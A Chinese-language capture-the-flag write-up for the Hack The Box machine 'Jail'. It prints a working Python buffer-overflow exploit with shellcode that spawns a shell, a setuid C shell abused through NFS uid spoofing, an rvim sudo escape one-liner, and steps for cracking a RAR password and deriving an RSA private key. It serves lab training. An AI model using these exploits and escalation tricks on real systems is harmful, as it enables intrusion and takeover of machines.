HTB-靶机-Jail

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.34

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令

autorecon 10.10.10.34 -o ./jail-autorecon

最终的扫描结果

nfs服务详细信息

得知目标开放了两个共享目录,先看看80端口的web应用

发现了如上信息,没啥用,使用ffuf跑跑目录

ffuf -u http://10.10.10.34/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php,.c,.txt

跑出来了jailuser 访问得到如下

把上面文件都下载下来

通过查看得知源代码开放7411端口是个身份证登录验证的程序,通过测试验证此程序在目标靶机启动并开放7411端口,而且存缓冲区溢出漏洞

得到上述信息是本地启用此程序,然后本地监听了端口7411,使用nc -vn进行连接测试 最终得出可溢出的位置,便有了下面的利用代码,参考的shellcode是:https://www.exploit-db.com/exploits/34060

#!/usr/bin/env python

from pwn import *
import struct

shellcode = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
shellcode+="\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
shellcode+="\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
shellcode+="\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
shellcode+="\x89\xe3\x31\xc9\xcd\x80"

payload = "A"*28 + struct.pack("<I",0xffffd610 + 32) + shellcode

r = remote('10.10.10.34', 7411)
r.sendline('DEBUG')

print r.recv(1024)
r.sendline('USER admin')

print r.recv(1024)
r.sendline('PASS ' + payload)

r.interactive()

具体分析可参考这两篇文章 

https://reboare.github.io/htb/htb-jail.html  
https://medium.com/@gabriel.pirjolescu/hack-the-box-jail-write-up-e279862155d4

成功拿到一个低权限的shell,读取不了user.txt文件,需要提权到其他普通用户查看,这里前面扫描已经得出来了目标靶机存在nfs服务,并且开放了两个共享目录,利用方式以前也说过,通过本地创建跟目标用户相同的uid和gid ,然后使用此用户重新挂载nfs即可

查看到目标靶机存在普通用户frank,我们的目的是通过nfs提权横向移动到此用户,具体操作如下:

nfs提权

本地创建添加指定用户uid和gid
sudo groupadd -g 1000 frank
sudo adduser frank -uid 1000 -gid 1000

修改指定用户uid和gid
usermod -u 1008 kali
groupmod -g 1008 kali

创建C代码shell指定uid和gid为1000

#include <stdio.h>
#include <stdlib.h>
#includ <unistd.h>

int main(int argc, char *argv[])
{
    setreuid(1000,1000);
    printf("ID:%d\n",geteuid());
    execve("/bin/sh",NULL,NULL);
}

frank@kali:/mnt/jail/nfsshare$ gcc bmfxshell.c -o bmfxshits
frank@kali:/mnt/jail/nfsshare$ chmod u+s bmfxshits

因为本机kali占用了uid和gid为1000,所以需要先修改kali为其他的非1000的uid和gid然后再创建,成功之后重新挂载nfs,挂载完成记得是在挂载成功的目录下编译提权的C代码,我这测试在本地编译好复制过去提权不成功,上述成功之后得到如下信息:

通过上面可以看到需要再次横向移动到用户adm,其存在一个漏洞是可以通过rvim漏洞 https://github.com/vim/vim/issues/1543 进行绕过切换至用户adm

通过执行如下命令进行横向提权

sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
:diffpatch $(sh <&2 >&2)

提权到用户adm得到如下提示信息

由于目标靶机shell不是太稳定,且不友好,我这就是base64编码的形式拿到本地kali中分析

上述的keys.rar是拿到本地来了,但是尝试打开的时候需要密码,再回头看看上述的其他提示信息,在谷歌上搜索了一把得到一片文章

所以根据提示使用命令crunch根据关键字生成字典通过john进行爆破

crunch 11 11 -t Morris1962^ > bmfxpass

开始对rar文件密码进行爆破之前先转换下

开始破解

得到密码 keys.rar:Morris1962!:1::rootauthorizedsshkey.pub  进行解压此rar文件

得到一个公钥,然后可以使用前面讲到的工具 https://github.com/Ganapati/RsaCtfTool将公钥变成私钥,将得到的使用连接目标靶机的root用户即可拿到root.txt

python3 RsaCtfTool.py --publickey rootauthorizedsshkey.pub --private > id_rsa

posted @ 2020-11-13 11:06  皇帽讲绿帽带法技巧  阅读(259)  评论(0编辑  收藏  举报